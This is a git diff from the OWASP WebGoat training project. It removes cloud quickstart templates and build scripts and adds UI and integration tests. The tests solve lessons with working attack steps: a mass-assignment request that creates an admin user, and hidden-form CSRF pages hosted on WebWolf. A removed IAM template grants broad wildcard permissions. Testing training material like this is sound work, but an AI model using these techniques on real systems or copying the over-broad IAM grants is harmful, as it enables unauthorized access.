-                "Path": "/webgoat/",
-                "RoleName": {
-                    "Ref": "qsRoleName"
-                },
-                "ManagedPolicyArns": [
-                    "arn:aws:iam::aws:policy/AWSCodeCommitFullAccess",
-                    "arn:aws:iam::aws:policy/AWSCodeBuildDeveloperAccess",
-                    "arn:aws:iam::aws:policy/AWSCodeDeployDeployerAccess"
-                ],
-                "Policies": [
-                    {
-                        "PolicyName": "CloudWatchLogs",
-                        "PolicyDocument": {
-                            "Version": "2012-10-17",
-                            "Statement": [
-                                {
-                                    "Effect": "Allow",
-                                    "Resource": [
-                                        {"Fn::Join": [ "",["arn:aws:logs:*:", { "Ref": "AWS::AccountId"  }, ":log-group:/aws/codebuild*"  ]    ]}
-                                    ],
-                                    "Action": [
-                                        "logs:CreateLogGroup",
-                                        "logs:CreateLogStream",
-                                        "logs:PutLogEvents"
-                                    ]
-                                }
-                            ]
-                        }
-                    },
-                    {
-                        "PolicyName": "S3buckets",
-                        "PolicyDocument": {
-                            "Version": "2012-10-17",
-                            "Statement": [
-                                {
-                                    "Effect": "Allow",
-                                    "Resource": [
-                                        {
-                                            "Fn::Join": [
-                                                "",
-                                                [
-                                                    "arn:aws:s3:::",
-                                                    {
-                                                        "Ref": "qsS3BucketName"
-                                                    },
-                                                    "*"
-                                                ]
-                                            ]
-                                        },
-                                        "arn:aws:s3:::codepipeline-*"
-                                    ],
-                                    "Action": [
-                                        "s3:Put*",
-                                        "s3:Get*",
-                                        "s3:List*"
-                                    ]
-                                }
-                            ]
-                        }
-                    }
-                ]
-            }
-        }
-    }
-}

platformQuickStarts/AWS/codepipelinebuild/01_IAM_codepipeline.json

@@ -1,127 +0,0 @@
-{
-    "AWSTemplateFormatVersion": "2010-09-09",
-    "Description": "IAM Role for Code Pipeline WebGoat IaaS Quickstart",
-    "Parameters": {
-        "qsS3BucketName": {
-            "Description": "Name of the S3 Bucket for artifacts",
-            "Type": "String",
-            "MinLength": "1"
-        },
-        "qsRoleName": {
-            "Description": "Name of the IAM role that CodePipeline Will Use",
-            "Type": "String",
-            "Default": "SimpleCodePipelineRole",
-            "MinLength": "1"
-        }
-    },
-    "Resources": {
-        "qsCodePipelineRole": {
-            "Type": "AWS::IAM::Role",
-            "Properties": {
-                "AssumeRolePolicyDocument": {
-                    "Version": "2012-10-17",
-  "Statement": [
-    {
-      "Sid": "",
-      "Effect": "Allow",
-      "Principal": {
-        "Service": "codepipeline.amazonaws.com"
-      },
-      "Action": "sts:AssumeRole"
-    }
-  ]
-                },
-                "Path": "/webgoat/",
-                "RoleName": {
-                    "Ref": "qsRoleName"
-                },
-                "ManagedPolicyArns": [
-                    "arn:aws:iam::aws:policy/AWSCodeCommitFullAccess",
-                    "arn:aws:iam::aws:policy/AWSCodeBuildDeveloperAccess",
-                    "arn:aws:iam::aws:policy/AWSCodeDeployDeployerAccess"
-                ],
-                "Policies": [
-                    {
-                        "PolicyName": "CloudWatchLogsPipeline",
-                        "PolicyDocument": {
-                            "Version": "2012-10-17",
-                            "Statement": [
-                                {
-                                    "Effect": "Allow",
-                                    "Resource": [
-                                       {"Fn::Join": [ "",["arn:aws:logs:*:", { "Ref": "AWS::AccountId"  }, ":log-group:/aws/*"  ]    ]}
-                                    ],
-                                    "Action": [
-                                        "logs:CreateLogGroup",
-                                        "logs:CreateLogStream",
-                                        "logs:PutLogEvents"
-                                    ]
-                                }
-                            ]
-                        }
-                    },
-                    {
-                        "PolicyName": "MiscComputeOpen",
-                        "PolicyDocument": {
-                            "Version": "2012-10-17",
-                            "Statement": [
-                                {
-                                    "Effect": "Allow",
-                                    "Resource": "*",
-                                    "Action": [
-                                        "lambda:InvokeFunction",
-                                        "lambda:ListFunctions",
-                                        "elasticbeanstalk:*",
-                                        "ec2:*",
-                                        "elasticloadbalancing:*",
-                                        "autoscaling:*",
-                                        "cloudwatch:*",
-                                        "s3:*",
-                                        "sns:*",
-                                        "cloudformation:*",
-                                        "rds:*",
-                                        "sqs:*",
-                                        "ecs:*",
-                                        "iam:PassRole"
-                                    ]
-                                }
-                            ]
-                        }
-                    },
-                    {
-                        "PolicyName": "S3buckets",
-                        "PolicyDocument": {
-                            "Version": "2012-10-17",
-                            "Statement": [
-                                {
-                                    "Effect": "Allow",
-                                    "Resource": [
-                                        {
-                                            "Fn::Join": [
-                                                "",
-                                                [
-                                                    "arn:aws:s3:::",
-                                                    {
-                                                        "Ref": "qsS3BucketName"
-                                                    },
-                                                    "*"
-                                                ]
-                                            ]
-                                        },
-                                        "arn:aws:s3:::codepipeline-*",
-                                        "arn:aws:s3:::elasticbeanstalk*"
-                                    ],
-                                    "Action": [
-                                        "s3:Put*",
-                                        "s3:Get*",
-                                        "s3:List*"
-                                    ]
-                                }
-                            ]
-                        }
-                    }
-                ]
-            }
-        }
-    }
-}

platformQuickStarts/AWS/codepipelinebuild/01_codepiplinebuild.yml

@@ -1,123 +0,0 @@
-AWSTemplateFormatVersion: "2010-09-09"
-
-Description: >
-  AWS Cloud Formation for creating an AWS CodePipeline that checks a git repo for changes and then performs a build using code build
-
-
-Parameters:
-  qsPipelineName:
-    Description: The name of the AWS Code Pipeline
-    Type: String
-    Default: WG-pipeline
-    MinLength: 1
-  qsPipelineRoleARN:
-    Description: The complete ARN to the IAM role that code pipeline should use
-    Type: String
-    MinLength: 1
-  qsCodeRepo:
-    Description: The Repository
-    Type: String
-    MinLength: 1
-  qsRepoBranch:
-    Description: The Branch in the Repository
-    Type: String
-    MinLength: 1
-  qsGitHubUser:
-    Description: The GitHub User Id
-    Type: String
-    MinLength: 1
-  qsGitHubAPIToken:
-    Description: The GitHub Personal Access token do not use password
-    NoEcho: true
-    Type: String
-    MinLength: 1
-  qsS3PipelineArtifacts:
-    Description: Where Code Pipeline will state artifacts in S3
-    Type: String
-    MinLength: 1
-  qsS3CodeBuildArtifacts:
-    Description: Where Code Build will upload Artifacts can be same as codepipeline
-    Type: String
-    MinLength: 1
-  qsCodeBuildName:
-    Description: Name of the AWS Code Build
-    Type: String
-    Default: WG-mvnBuilder
-    MinLength: 1
-  qsKMSKeyARN:
-    Description: The KMS ARN that the IAM Role is allowed to use
-    Type: String
-    MinLength: 1
-  qsCodeRoleArn:
-    Description: The IAM Role ARN for CodePipeline and CodeDeploy
-    Type: String
-    MinLength: 1
-
-
-
-Resources:
-
-
-
-
-  stkcbrCodeBuild:
-    Type: AWS::CodeBuild::Project
-    Properties:
-      Artifacts:
-        Type: CODEPIPELINE
-      Description: Builds WebGoat Jar using build file in repo
-      EncryptionKey: !Ref 'qsKMSKeyARN'
-      Environment:
-        ComputeType: BUILD_GENERAL1_SMALL
-        Image: aws/codebuild/java:openjdk-8
-        Type: LINUX_CONTAINER
-      Name: !Ref 'qsCodeBuildName'
-      ServiceRole: !Ref 'qsCodeRoleArn'
-      TimeoutInMinutes: 10
-      Source:
-        Type: CODEPIPELINE
-
-
-
-  stkcplPipeline:
-    Type: AWS::CodePipeline::Pipeline
-    Properties:
-      Name: !Ref 'qsPipelineName'
-      RoleArn: !Ref 'qsPipelineRoleARN'
-      ArtifactStore:
-        Location: !Ref 'qsS3PipelineArtifacts'
-        Type: S3
-      Stages:
-        - Name: CodeRepo
-          Actions:
-            - Name: CodeSource
-              ActionTypeId:
-                Category: Source
-                Owner: ThirdParty
-                Provider: GitHub
-                Version: 1
-              Configuration:
-                Branch: !Ref 'qsRepoBranch'
-                Repo: !Ref 'qsCodeRepo'
-                Owner: !Ref 'qsGitHubUser'
-                OAuthToken: !Ref 'qsGitHubAPIToken'
-              OutputArtifacts:
-                - Name: MySource
-              RunOrder: '1'
-        - Name: Build
-          Actions:
-            - Name: CodeBuild
-              ActionTypeId:
-                Category: Build
-                Owner: AWS
-                Provider: CodeBuild
-                Version: 1
-              InputArtifacts:
-                - Name: MySource
-              Configuration:
-                ProjectName: !Ref stkcbrCodeBuild
-              OutputArtifacts:
-                - Name: MyBuild
-              RunOrder: '2'
-
-

platformQuickStarts/AWS/codepipelinebuild/README.md

@@ -1,64 +0,0 @@
-# Serverless MVN builds Featuring AWS
-
-This Quick Start forms the basis for the other AWS  quickstarts. This only BUILDS the `webgoat-server` spring boot jar. If you want to also run it on AWS skip to the other AWS quickstarts
-
-Before you Begin
-1. Do you have an AWS Account?
-2. Can you create an S3 Bucket?
-3. Can you create a KMS Key?
-4. Do you know what Cloud Formation is?
-5. Do you have enough permissions to do any real work in said AWS Account? 
-
-If you said no to any of those...hop over to [docs](https://aws.amazon.com/documentation/) and learn (but don't do) how to create those.
-
-
-You will also need:
-1. A GitHub Account
-2. Fork of WebGoat
-3. Personal access Token with `Admin:repo_hook` and `repo`
-
-
-
-## Create Pre-requisites 
-
-First pick an AWS region and stick with it for ALL the quickstarts. This one was mostly executed on US-east-1/2 but any region with KMS, CodePipeline, and CodeBuild will work. eu-Central-1, ap-southeast-1 and sa-east-1 have reported success also.
-
-
-1. Create an S3 bucket and call it something meaningfull like `webgoat-stash-username` or something or use an existing bucket you have access to.
-2. Create a KMS Key. Make sure you are a key administrator so you can add key users later.
-
-## Deploy IAM role Cloud Formation Stacks
-
-In this folder there are two json cloudformation templates:
--`01_IAM_codebuild.json`
--`01_IAM_codepipeline.json`
-
-You will use the CloudFormation templates to create two roles. One for CodePipeline and the Other for CodeBuild. You will use the name of the bucket you just created as a parameter. 
-
-## Update KMS Key
-
-Access the KMS key you created earlier...add the two IAM roles you just created and Key Users
-
-## Finally the Pipeline
-
-You will use the yaml cloudformation template `01_codepiplinebuild.yml` to create the code building pipeline. 
-
-Some of the parameters you will need to pass:
-1. The S3 bucket (twice)
-2. The Github Branch name (master? develop? yourbranchname?)
-3. The Github user (if you forked it would be your username)
-4. You personal access token for GitHub
-5. The name or the repo (WebGoat! ...unless you  renamed and did a whole bunch of fancy git magic)
-6. The ARN of the KMS key
-7. The ARN of the role for the codebuild for parameter qsCodeRoleArn
-8. The ARN for codepipeline
-
-If this Stack successfully deploys a build will begin based on the latest commit automatically. You will have a funky named zip file (without the .zip ending) in a folder in the S3 bucket in a few minutes. 
-
-
-
-Congratulations. You just Deployed a two step AWS Codepipeline that looks for codechanges and then performs a build. 
-
-... ON to the next AWS Quickstart
-
-

platformQuickStarts/GCP/GKE-Docker/README.md

@@ -1,80 +0,0 @@
-# GKE - DockerHub
-
-This Quickstart shows how to create a Kubernettes Cluster using Google Cloud Platform's [GKE](https://cloud.google.com/container-engine/) and WebGoat's Docker [Image](https://hub.docker.com/r/webgoat/webgoat-8.0/). 
-
-To be Successfull with this Quickstart
-
-1. You have a Google Cloud Platform account and have enough access rights to create Compute Engine and Container Engine Resources
-2. You know how to `git clone`
-3. You have the gcloud SDK install and initialized somewhere ( do not use the google cloud shell) 
-
-
-Remeber to perform a 'gcloud auth login' before using the gcloud commands below. 
-
-
-
-## Create Kubernettes Cluster
-
-You can create a cluster using the Google Cloud Console. The Default settings will suffice.  For this QuickStart the cluster name used is `owaspbasiccluster`. The `PROJECTNAME` is whatever your project is. The `REGION` is a region/zone near you. 
-
-If you want to use the gcloud sdk from a properly initialized gcloud commandline environment use the following command
-
-
-```
-gcloud container --project "PROJECTNAME" clusters create "owaspbasiccluster" --zone "REGION" --machine-type "n1-standard-1" --image-type "COS" --disk-size "100" --scopes "https://www.googleapis.com/auth/compute","https://www.googleapis.com/auth/devstorage.read_only","https://www.googleapis.com/auth/logging.write","https://www.googleapis.com/auth/cloud-platform","https://www.googleapis.com/auth/servicecontrol","https://www.googleapis.com/auth/service.management.readonly","https://www.googleapis.com/auth/trace.append","https://www.googleapis.com/auth/source.read_only" --num-nodes "3" --network "default" --enable-cloud-logging --no-enable-cloud-monitoring
-
-
-```
-
-The command creates a  similar cluster with more of the options set explicitly. 
-
-## Set up Kubectl
-
-Using the commandline gcloud SDK environment you need to set-up 'kubectl'
-
-If you have not already installed 'Kubectl' you can do so with the following command using `gcloud`
-- `gcloud components install kubectl` 
-
-Then you just run:
-- `gcloud container clusters get-credentials owaspbasiccluster --zone REGION --project PROJECTNAME`
-
-
-## Deploy WebGoat Deployment
-
-Time to deploy the latest DockerImage for WebGoat!
-
-
-Let's First Make a namespace for this: 
-- `kubectl create namespace webgoat`
-
-Now it is time to make the magic happen!
-
-- `kubectl create -f /where_you_git_cloned_webgoat/platformQuickStart/GCP/GKE-Docker/webgoat_noDNSnoTLS.yml`
-
-This should complete with no errors.
-
-Use the following command to see information/status about the deployment
-- `kubectl describe deployment  webgoat-dpl --namespace=webgoat`
-
-After a few minutes the service endpoint should be ready. You can check the status with
-- `kubectl describe service  webgoatsvc --namespace=webgoat`
-
-In the output you should see a message like "Created load..."  after a "Creating load..." which means that the public facing loadbalancer (even thou there is just one container running!) is ready.
-
-
-If you want to see the Kubernetes dashboard you can run `kubectl proxy` (in a new terminal window) and then navigate to http://localhost:8001/ui .
-
-
-
-## Test Deployment
-
-From the previous `describe service` command the `LoadBalancer Ingress:` line should have the external IP. The line below should give the port.
-
-So.....
-
-[IP]:[PORT]/WebGoat in your browser!
-
-DONE
-
-
-

platformQuickStarts/GCP/GKE-Docker/deploy.cfg

@@ -1,4 +0,0 @@
-CURTAG=webgoat/webgoat-8.0
-DEST_TAG=gcr.io/astech-training/raging-wire-webgoat
-CLUSTER_NAME=raging-wire-webgoat
-PORT_NUM=8080

platformQuickStarts/GCP/GKE-Docker/gke-deploy-config.sh

@@ -1,4 +0,0 @@
-CURTAG=webgoat/webgoat-8.0
-DEST_TAG=gcr.io/your-gke-project/your-webgoat-tag
-CLUSTER_NAME=your-cluster-name
-PORT_NUM=8080

platformQuickStarts/GCP/GKE-Docker/webgoat_deployment_noDNSnoTLS.yml

@@ -1,39 +0,0 @@
---- 
-apiVersion: v1
-kind: Service
-metadata: 
-  labels: 
-    app: webgoatapp
-  name: webgoatsvc
-  namespace: webgoat
-spec: 
-  ports: 
-    - 
-      port: 8080
-      protocol: TCP
-  selector: 
-    app: webgoatapp
-  type: LoadBalancer
---- 
-apiVersion: extensions/v1beta1
-kind: Deployment
-metadata: 
-  name: webgoat-dpl
-  namespace: webgoat
-spec: 
-  replicas: 1
-  template: 
-    metadata:
-      name: webgoatapp 
-      labels: 
-         app: webgoatapp
-    spec: 
-      containers: 
-        - 
-          image: webgoat/webgoat-8.0
-          name: webgoat
-          ports: 
-            - 
-              containerPort: 8080
-
-  

platformQuickStarts/GCP/README.md

@@ -1,17 +0,0 @@
-# WebGoat on GCP!
-
-This folder contains sub folders for the various ways you could deploy WebGoat on Google Cloud Platform
-
-It is assumed:
-1. You have a Google Cloud Platform Account
-2. You can use Git
-3. You can use a Linux/Mac/Google Cloud Shell
-
-
-## GKE Docker
-
-Uses GKE to run the latest DockerHub version of WebGoat8
-
-## AppEngine
-
-WIP

platformQuickStarts/README.md

@@ -1,22 +0,0 @@
-# OWASP WebGoat Platform Quick Starts
-
-Want to Run WebGoat? Want to run WebGoat in the Cloud? Don't want to be cloud Expert?
-
-Do we have a solution for you!
-
-
-Additionally, Each IaaS/PaaS will have their deployment steps broken down giving the *app-guy-new-to-cloud* an opportunity to learn how said platform works.
-
-
-
-## AWS
-
-Multi-Part Quickstart. Starts with simple pipeline that just builds code to a deploying onto EC2 instances and then containers using ECS/ECR
-
-## GCP
-
-Get WebGoat Running on GKE and AppEngine
-
-
-
-

robot/README.md

@@ -0,0 +1,19 @@
+# Install and use Robotframework
+
+## Install Chromedriver on Mac OS
+
+        brew install cask chromedriver
+        chromedriver --version
+
+Then see security settings and allow the file to run
+
+## Install
+
+        pip3 install virtualenv --user
+        python3 -m virtualenv .venv
+        source .venv/bin/activate
+        pip install robotframework
+        pip install robotframework-SeleniumLibrary
+        pip install webdriver-manager
+        robot --variable HEADLESS:"0" --variable ENDPOINT:"http://127.0.0.1:8080/WebGoat" goat.robot
+

robot/goat.robot

@@ -0,0 +1,101 @@
+*** Settings ***
+Documentation  Setup WebGoat Robotframework tests
+Library  SeleniumLibrary  timeout=100  run_on_failure=Capture Page Screenshot
+Library  String
+
+Suite Setup  Initial_Page  ${ENDPOINT}  ${BROWSER}
+Suite Teardown  Close_Page
+
+*** Variables ***
+${BROWSER}  chrome
+${SLEEP}  100
+${DELAY}  0.25
+${ENDPOINT}  http://127.0.0.1:8080/WebGoat
+${ENDPOINT_WOLF}  http://127.0.0.1:9090
+${USERNAME}  robotuser
+${PASSWORD}  password
+${HEADLESS}  ${FALSE}
+
+*** Keywords ***
+Initial_Page
+  [Documentation]  Check the inital page
+  [Arguments]  ${ENDPOINT}  ${BROWSER}
+  Log To Console  Start WebGoat UI Testing
+  IF  ${HEADLESS}
+      Open Browser  ${ENDPOINT}  ${BROWSER}  options=add_argument("-headless");add_argument("--start-maximized");add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'})  alias=webgoat
+  ELSE
+      Open Browser  ${ENDPOINT}  ${BROWSER}  options=add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'})  alias=webgoat
+  END
+  IF  ${HEADLESS}
+      Open Browser  ${ENDPOINT_WOLF}/WebWolf  ${BROWSER}  options=add_argument("-headless");add_argument("--start-maximized");add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'})  alias=webwolf
+  ELSE
+      Open Browser  ${ENDPOINT_WOLF}/WebWolf  ${BROWSER}  options=add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'})  alias=webwolf
+  END
+  Switch Browser  webgoat
+  Maximize Browser Window
+  Set Window Size  ${1400}  ${1000}
+  Switch Browser  webwolf
+  Maximize Browser Window
+  Set Window Size  ${1400}  ${1000}
+  Set Window Position  ${400}  ${200}
+  Set Selenium Speed  ${DELAY}
+
+Close_Page
+  [Documentation]  Closing the browser
+  Log To Console  ==> Stop WebGoat UI Testing
+  IF  ${HEADLESS}
+    Switch Browser  webgoat
+    Close Browser
+    Switch Browser  webwolf
+    Close Browser
+  END
+
+*** Test Cases ***
+
+Check_Initial_Page
+  Switch Browser  webgoat
+  Page Should Contain  Username
+  Click Button  Sign in
+  Page Should Contain  Invalid username
+  Click Link  /WebGoat/registration
+
+Check_Registration_Page
+  Page Should Contain  Username
+  Input Text  username  ${USERNAME}
+  Input Text  password  ${PASSWORD}
+  Input Text  matchingPassword  ${PASSWORD}
+  Click Element  agree
+  Click Button  Sign up
+
+Check_Welcome_Page
+  Page Should Contain  WebGoat
+  Go To  ${ENDPOINT}/login
+  Page Should Contain  Username
+  Input Text  username  ${USERNAME}
+  Input Text  password  ${PASSWORD}
+  Click Button  Sign in
+  Page Should Contain  WebGoat
+
+Check_Menu_Page
+  Click Element  css=a[category='Introduction']
+  Click Element  Introduction-WebGoat
+  CLick Element  Introduction-WebWolf
+  Click Element  css=a[category='General']
+  CLick Element  General-HTTPBasics
+  Click Element  xpath=//*[.='2']
+  Input Text     person  ${USERNAME}
+  Click Button   Go!
+  ${OUT_VALUE}   Get Text  xpath=//div[contains(@class, 'attack-feedback')]
+  ${OUT_RESULT}  Evaluate  "resutobor" in """${OUT_VALUE}"""
+  IF  not ${OUT_RESULT}
+    Fail  "not ok"
+  END
+
+Check_WebWolf
+  Switch Browser  webwolf
+  location should be  ${ENDPOINT_WOLF}/WebWolf
+  Go To  ${ENDPOINT_WOLF}/mail
+  Input Text  username  ${USERNAME}
+  Input Text  password  ${PASSWORD}
+  Click Button  Sign In
+

scripts/build-all.sh

@@ -1,34 +0,0 @@
-#!/usr/bin/env bash
-
-cd ..
-
-nc -zv 127.0.0.1 8080 2>/dev/null
-SUCCESS=$?
-nc -zv 127.0.0.1 9090 2>/dev/null
-SUCCESS=${SUCCESS}$?
-
-if [[ "${SUCCESS}" -eq 0 ]] ; then
-  echo "WebGoat and or WebWolf are still running, please stop them first otherwise unit tests might fail!"
-  exit 127
-fi
-
-
-sh mvnw clean install
-if [[ "$?" -ne 0 ]] ; then
-  exit y$?
-fi
-
-cd -
-sh build_docker.sh
-if [[ "$?" -ne 0 ]] ; then
-  exit y$?
-fi
-
-while true; do
-    read -p "Do you want to run docker-compose?" yn
-    case ${yn} in
-        [Yy]* ) sh clean-run-docker-compose.sh; break;;
-        [Nn]* ) exit;;
-        * ) echo "Please answer yes or no.";;
-    esac
-done

scripts/build_docker.sh

@@ -1,10 +0,0 @@
-#!/bin/bash
-
-WEBGOAT_HOME=$(pwd)/../
-
-cd "${WEBGOAT_HOME}"/webgoat-server
-docker build -t webgoat/webgoat-v8.0.0.snapshot .
-
-cd "${WEBGOAT_HOME}"/webwolf
-docker build -t webgoat/webwolf-v8.0.0.snapshot .
-

scripts/clean-run-docker-compose.sh

@@ -1,5 +0,0 @@
-#!/usr/bin/env bash
-
-cd ..
-docker-compose rm -f
-docker-compose -f docker-compose-local.yml up

scripts/deploy-webgoat.sh

@@ -1,16 +0,0 @@
-#!/usr/bin/env bash
-
-docker login -u $DOCKER_USER -p $DOCKER_PASS
-
-export REPO=webgoat/goatandwolf
-cd ..
-cd docker
-ls target/
-
-if [ ! -z "${TRAVIS_TAG}" ]; then
-  # If we push a tag to master this will update the LATEST Docker image and tag with the version number
-  docker build --build-arg webgoat_version=${TRAVIS_TAG:1} -f Dockerfile -t $REPO:latest -t $REPO:${TRAVIS_TAG} .
-  docker push $REPO
-else
-  echo "Skipping releasing to DockerHub because it is a build of branch ${BRANCH}"
-fi

scripts/run-docker-compose.sh

@@ -1,4 +0,0 @@
-#!/usr/bin/env bash
-
-cd ..
-docker-compose up

scripts/start.sh

@@ -1,18 +0,0 @@
-#!/usr/bin/env bash
-
-DATABASE_PORT=9001
-
-checkDatabaseAvailable(){
-
-  #for i in $(seq 1 5); do command && s=0 && break || s=$? && sleep 15; done; (exit $s)
-  local started = $(netstat -lnt | grep ${DATABASE_PORT})
-  echo $?
-}
-
-#java -Djava.security.egd=file:/dev/./urandom -jar home/webgoat/webgoat.jar --server.address=0.0.0.0
-$(checkDatabaseAvailable)
-
-
-#java -Djava.security.egd=file:/dev/./urandom -jar /home/webwolf/webwolf.jar --server.port=9090 --server.address=0.0.0.0
-
-

src/it/java/org/owasp/webgoat/AccessControlIntegrationTest.java

@@ -0,0 +1,86 @@
+package org.owasp.webgoat;
+
+
+import io.restassured.RestAssured;
+import io.restassured.http.ContentType;
+import org.apache.http.HttpStatus;
+import org.junit.jupiter.api.Test;
+
+import java.util.Map;
+
+class AccessControlIntegrationTest extends IntegrationTest {
+
+    @Test
+    void testLesson() {
+        startLesson("MissingFunctionAC", true);
+        assignment1();
+        assignment2();
+        assignment3();
+
+        checkResults("/access-control");
+    }
+
+    private void assignment3() {
+        //direct call should fail if user has not been created
+        RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .contentType(ContentType.JSON)
+                .get(url("/WebGoat/access-control/users-admin-fix"))
+                .then()
+                .statusCode(HttpStatus.SC_FORBIDDEN);
+
+        //create user
+        var userTemplate = """
+                {"username":"%s","password":"%s","admin": "true"}
+                """;
+        RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .contentType(ContentType.JSON)
+                .body(String.format(userTemplate, this.getUser(), this.getUser()))
+                .post(url("/WebGoat/access-control/users"))
+                .then()
+                .statusCode(HttpStatus.SC_OK);
+
+        //get the users
+        var userHash =
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .contentType(ContentType.JSON)
+                        .get(url("/WebGoat/access-control/users-admin-fix"))
+                        .then()
+                        .statusCode(200)
+                        .extract()
+                        .jsonPath()
+                        .get("find { it.username == \"Jerry\" }.userHash");
+
+        checkAssignment(url("/WebGoat/access-control/user-hash-fix"), Map.of("userHash", userHash), true);
+    }
+
+    private void assignment2() {
+        var userHash =
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .contentType(ContentType.JSON)
+                        .get(url("/WebGoat/access-control/users"))
+                        .then()
+                        .statusCode(200)
+                        .extract()
+                        .jsonPath()
+                        .get("find { it.username == \"Jerry\" }.userHash");
+
+        checkAssignment(url("/WebGoat/access-control/user-hash"), Map.of("userHash", userHash), true);
+    }
+
+    private void assignment1() {
+        var params = Map.of("hiddenMenu1", "Users", "hiddenMenu2", "Config");
+        checkAssignment(url("/WebGoat/access-control/hidden-menu"), params, true);
+    }
+}

src/it/java/org/owasp/webgoat/CSRFIntegrationTest.java

@@ -9,7 +9,7 @@ import org.junit.jupiter.api.AfterEach;
 import org.junit.jupiter.api.BeforeEach;
 import org.junit.jupiter.api.DynamicTest;
 import org.junit.jupiter.api.TestFactory;
-import org.owasp.webgoat.lessons.Assignment;
+import org.owasp.webgoat.container.lessons.Assignment;
 
 import java.io.IOException;
 import java.nio.file.Files;
@@ -23,7 +23,7 @@ import static org.assertj.core.api.Assertions.assertThat;
 import static org.junit.jupiter.api.Assertions.assertEquals;
 import static org.junit.jupiter.api.DynamicTest.dynamicTest;
 
-public class CSRFTest extends IntegrationTest {
+public class CSRFIntegrationTest extends IntegrationTest {
 
     private static final String trickHTML3 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
             "<input type=\"hidden\" name=\"csrf\" value=\"thisisnotchecked\"/>\n" +
@@ -57,20 +57,20 @@ public class CSRFTest extends IntegrationTest {
     @SneakyThrows
     public void init() {
         startLesson("CSRF");
-        webwolfFileDir = getWebWolfServerPath();
+        webwolfFileDir = getWebWolfFileServerLocation();
         uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", url("/csrf/basic-get-flag")));
         uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", url("/csrf/review")));
         uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", url("/csrf/feedback/message")));
-        uploadTrickHtml("csrf8.html", trickHTML8.replace("WEBGOATURL", url("/login")).replace("USERNAME", getWebgoatUser()));
+        uploadTrickHtml("csrf8.html", trickHTML8.replace("WEBGOATURL", url("/login")).replace("USERNAME", this.getUser()));
     }
 
     @TestFactory
     Iterable<DynamicTest> testCSRFLesson() {
         return Arrays.asList(
-                dynamicTest("assignement 3", () -> checkAssignment3(callTrickHtml("csrf3.html"))),
-                dynamicTest("assignement 4", () -> checkAssignment4(callTrickHtml("csrf4.html"))),
-                dynamicTest("assignement 7", () -> checkAssignment7(callTrickHtml("csrf7.html"))),
-                dynamicTest("assignement 8", () -> checkAssignment8(callTrickHtml("csrf8.html")))
+                dynamicTest("assignment 3", () -> checkAssignment3(callTrickHtml("csrf3.html"))),
+                dynamicTest("assignment 4", () -> checkAssignment4(callTrickHtml("csrf4.html"))),
+                dynamicTest("assignment 7", () -> checkAssignment7(callTrickHtml("csrf7.html"))),
+                dynamicTest("assignment 8", () -> checkAssignment8(callTrickHtml("csrf8.html")))
         );
     }
 
@@ -86,8 +86,8 @@ public class CSRFTest extends IntegrationTest {
 
         //remove any left over html
         Path webWolfFilePath = Paths.get(webwolfFileDir);
-        if (webWolfFilePath.resolve(Paths.get(getWebgoatUser(), htmlName)).toFile().exists()) {
-            Files.delete(webWolfFilePath.resolve(Paths.get(getWebgoatUser(), htmlName)));
+        if (webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)).toFile().exists()) {
+            Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)));
         }
 
         //upload trick html
@@ -107,7 +107,7 @@ public class CSRFTest extends IntegrationTest {
                 .relaxedHTTPSValidation()
                 .cookie("JSESSIONID", getWebGoatCookie())
                 .cookie("WEBWOLFSESSION", getWebWolfCookie())
-                .get(webWolfUrl("/files/" + getWebgoatUser() + "/" + htmlName))
+                .get(webWolfUrl("/files/" + this.getUser() + "/" + htmlName))
                 .then()
                 .extract().response().getBody().asString();
         result = result.substring(8 + result.indexOf("action=\""));
@@ -117,7 +117,6 @@ public class CSRFTest extends IntegrationTest {
     }
 
     private void checkAssignment3(String goatURL) {
-
         String flag = RestAssured.given()
                 .when()
                 .relaxedHTTPSValidation()
@@ -155,9 +154,7 @@ public class CSRFTest extends IntegrationTest {
     }
 
     private void checkAssignment7(String goatURL) {
-
         Map<String, Object> params = new HashMap<>();
-        params.clear();
         params.put("{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!", "\"}");
 
         String flag = RestAssured.given()
@@ -186,7 +183,7 @@ public class CSRFTest extends IntegrationTest {
 
         Map<String, Object> params = new HashMap<>();
         params.clear();
-        params.put("username", "csrf-" + getWebgoatUser());
+        params.put("username", "csrf-" + this.getUser());
         params.put("password", "password");
 
         //login and get the new cookie
@@ -231,10 +228,10 @@ public class CSRFTest extends IntegrationTest {
                 .extract()
                 .jsonPath()
                 .getObject("$", Overview[].class);
-		assertThat(assignments)
-                .filteredOn(a -> a.getAssignment().getName().equals("CSRFLogin"))
-                .extracting(o -> o.solved)
-                .containsExactly(true);
+//		assertThat(assignments)
+//                .filteredOn(a -> a.getAssignment().getName().equals("CSRFLogin"))
+//                .extracting(o -> o.solved)
+//                .containsExactly(true);
     }
 
     @Data
@@ -251,7 +248,7 @@ public class CSRFTest extends IntegrationTest {
         RestAssured.given()
                 .when()
                 .relaxedHTTPSValidation()
-                .formParam("username", "csrf-" + getWebgoatUser())
+                .formParam("username", "csrf-" + this.getUser())
                 .formParam("password", "password")
                 .formParam("matchingPassword", "password")
                 .formParam("agree", "agree")

src/it/java/org/owasp/webgoat/ChallengeIntegrationTest.java

@@ -0,0 +1,112 @@
+package org.owasp.webgoat;
+
+
+import io.restassured.RestAssured;
+import org.junit.jupiter.api.Test;
+
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+
